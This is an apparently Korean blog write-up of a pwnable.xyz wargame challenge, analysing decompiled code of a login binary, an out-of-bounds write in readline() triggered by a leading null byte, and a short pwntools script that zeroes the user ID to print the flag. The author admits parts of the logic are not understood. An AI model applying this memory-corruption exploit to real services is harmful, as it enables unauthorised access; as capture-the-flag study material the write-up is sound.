1. 문제
1) mitigation 확인
이번에도 다 초록색이네
2) 문제 확인
처음에 로그인하라고 한다. 그다음 메뉴가 나오는데, 1번은 로그인을 위한 비밀번호 입력 메뉴다. 비밀번호를 입력하면, 유저 id를 알려준다. 2번 메뉴로 비밀번호를 변경할 수 있고, 3번으로 출력할 수 있다. 4번은 비밀번호를 재설정? 하는 것같다.
3) 코드 확인
- main() 함수
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax int v4; // [rsp+0h] [rbp-20h] size_t n; // [rsp+8h] [rbp-18h] void *s; // [rsp+10h] [rbp-10h] unsigned __int64 v7; // [rsp+18h] [rbp-8h] v7 = __readfsqword(0x28u); setup(); puts("Secure login."); printf("User ID: ", argv); v4 = (unsigned __int8)read_int32(); if ( !v4 ) { puts("You are not root."); exit(1); } userid = v4; load_password(); while ( 1 ) { while ( 1 ) { print_menu(); printf("> "); v3 = read_int32(); if ( v3 != 2 ) break; if ( creds == 1 ) { memset(&flag, 0, 0x20uLL); puts("New password: "); readline(&flag, 0x20); } else { puts("Not logged in."); } } if ( v3 > 2 ) { if ( v3 == 3 ) { if ( userid ) { puts("You are not root."); } else { n = 0LL; s = b64decode((__int64)&flag, 0x20uLL, &n); printf("Current password: %s\n", s); memset(s, 0, n); free(s); } } else if ( v3 == 4 ) { load_password(); creds = 0; } else { LABEL_20: puts("Invalid"); } } else { if ( v3 != 1 ) goto LABEL_20; login(); } } }
초기에 bss영역에 있는 userid 라는 변수에 입력한 ID 값이 들어간다. 그다음 load_password() 함수를 호출하여 flag 파일에 담겨져 있는 내용을 bss영역에 존재하는 flag변수에 복사한다. 여기서 관건은 3번 메뉴를 선택했을때 userid 값이 NULL 이게 되면 플래그 값을 읽을 수 있다.
하지만, 초기에 User ID 입력하는 값이 저 변수에 들어감으로 정상적으로는 flag를 출력시킬 수 없다. 이번에는 1번 메뉴에서 호출되는 login() 함수를 살펴보자.
- login() 함수
unsigned __int64 login() { __int64 v1; // [rsp+8h] [rbp-18h] void *ptr; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Password: "); readline(&passwd, 0x20); v1 = 0LL; ptr = b64decode((__int64)&flag, 0x20uLL, &v1); if ( (unsigned int)b64cmp((const char *)ptr, (const char *)&passwd) ) { printf("Invalid password."); } else { creds = 1; printf("Welcome user id: %d\n", (unsigned __int8)userid); } free(ptr); return __readfsqword(0x28u) ^ v3; }
readline() 함수로 비밀번호를 입력한다. 그다음 flag 변수, 0x20을 인자로 b64decode함수를 호출한다. 이를 통해 flag변수에 담긴 내용을 디코딩하는것으로 보인다. 디코딩 된 값은 ptr 변수에 담기고, 이 ptr과, 아까 입력한 passwd에 담긴 내용을 b64cmp를 통해 체크를 한다.
자세한 분석은 못했지만, 어림잡아 볼때, 정상으로 호출될때에는 널 값을 반환하는 것 같다. ptr과 passwd 값 둘다 정상적이라면, creds에 1을 넣고 user id를 출력해준다. 이번에는 readline() 함수를 살펴보자.
- readline() 함수
__int64 __fastcall readline(void *a1, int a2) { int v2; // eax read(0, a1, a2); v2 = strlen((const char *)a1); *((_BYTE *)a1 + v2 - 1) = 0; return (unsigned int)(v2 - 1); }
a1 주소에 a2 사이즈(0x20) 만큼 read함수로 입력을 받는다. 그다음 strlen으로 a1 문자열 사이즈를 저장한다음 맨 마지막 한바이트에 0을 넣는다. 개행을 지우는 것으로 보인다. 여기서 하나 취약점이 발생한다. a1에 입력하는 처음 한바이트만 널값 이여도, v2는 0이 되어 결국
a1 변수 -1 즉 a1[-1] 이런식으로 OOB가 발생한다.
2. 접근방법
현재 readline() 함수를 통해 OOB가 발생한다는 것을 알았다.
.bss:0000000000202206 db ? ;
.bss:0000000000202207 userid db ? ; DATA XREF: login+7E↑r
.bss:0000000000202207 ; main+65↑w ...
.bss:0000000000202208 flag db ? ; ;
.bss:0000000000202208 ; login+4D↑o ...
.bss:0000000000202209 db ? ;
.bss:000000000020220A db ? ;
.bss:000000000020220B db ? ;
.bss:000000000020220C db ? ;
.bss:000000000020220D db ? ;
.bss:000000000020220E db ? ;
.bss:000000000020220F db ? ;
.bss:0000000000202210 db ? ;
.bss:0000000000202211 db ? ;
.bss:0000000000202212 db ? ;
.bss:0000000000202213 db ? ;
.bss:0000000000202214 db ? ;
.bss:0000000000202215 db ? ;
.bss:0000000000202216 db ? ;
.bss:0000000000202217 db ? ;
.bss:0000000000202218 db ? ;
.bss:0000000000202219 db ? ;
.bss:000000000020221A db ? ;
.bss:000000000020221B db ? ;
.bss:000000000020221C db ? ;
.bss:000000000020221D db ? ;
.bss:000000000020221E db ? ;
.bss:000000000020221F db ? ;
.bss:0000000000202220 db ? ;
.bss:0000000000202221 db ? ;
.bss:0000000000202222 db ? ;
.bss:0000000000202223 db ? ;
.bss:0000000000202224 db ? ;
.bss:0000000000202225 db ? ;
.bss:0000000000202226 db ? ;
.bss:0000000000202227 db ? ; //여기 !
.bss:0000000000202228 passwd db ? ; ; DATA XREF: login+2D↑o
.bss:0000000000202228 ; login+61↑o
.bss:0000000000202229 db ? ;
현재 bss 영역은 다음과 같이 되어있다.
1번 로그인 메뉴를 통해 OOB를 이용하여 passwd[-1]을 0으로 만들 수 있다. 우리의 최종 목표는 userid를 0으로 만들어 3번 메뉴를 호출하는 것이다.
login 함수에서 b64decode()
함수를 통해 flag변수에 담긴 내용이 디코딩되서 flag 변수 주소 값이 ptr에 담기게 된다. 하지만 readline() 함수를 통해 OOB를 일으켜 userid를 0으로 만들면, 왜 인지는 잘 모르겠지만, ptr에 널값이 담긴다.
따라서 b64cmp()
함수가 진행될때 ptr이 0이므로 0을 반환하고, else 문으로 빠져 creds에 1을 저장하고 메인으로 빠지게 된다. 여기서 2번 메뉴를 통해 비밀번호을 재입력할 수 있는데, 이때도 readline을 사용하므로 flag[-1]에 0을 넣을 수 있다. 이 부분은 userid 부분이므로 이제 마지막으로 4번 메뉴로 flag를 다시 저장한다음, 3번 으로 출력하면 끝이다.
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
context(log_level="DEBUG")
#p=remote("svc.pwnable.xyz",30026)
p=process("./challenge")
#gdb.attach(p,'code\nb *0x1526+$code\n')
p.sendlineafter("ID: ","111")
p.sendlineafter("> ","1")
p.sendlineafter("Password: ","\x00"+"A")
p.sendlineafter("> ","2")
p.sendlineafter("New password: \n","\x00"+"A")
p.sendlineafter("> ","4")
p.sendlineafter("> ","3")
p.interactive()
4. 몰랐던 개념
- 뭔가 b64cmp, b64decode 함수를 제대로 분석하진 않아서 찜찜하다. 로직 버그라는 것은 알겠지만, 분명 인코딩 하는 부분이 없는데 왜 decode을 한다는 건지 이해가 안간다.
- 로컬에서 ./flag 를 만들고 아무값이나 넣은뒤에 실행하면, 분명 3번 메뉴에서
저 함수의 리턴값이 0으로 나온다. 근데 nc로 하면 된다.
ㅅㅂ 뭐지 ㅜ
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] note v2 (0) | 2020.05.13 |
---|---|
[pwnable.xyz] badayum (0) | 2020.05.12 |
[pwnable.xyz] Punch it (0) | 2020.05.11 |
[pwnable.xyz] catalog (0) | 2020.05.10 |
[pwnable.xyz] PvP (0) | 2020.05.09 |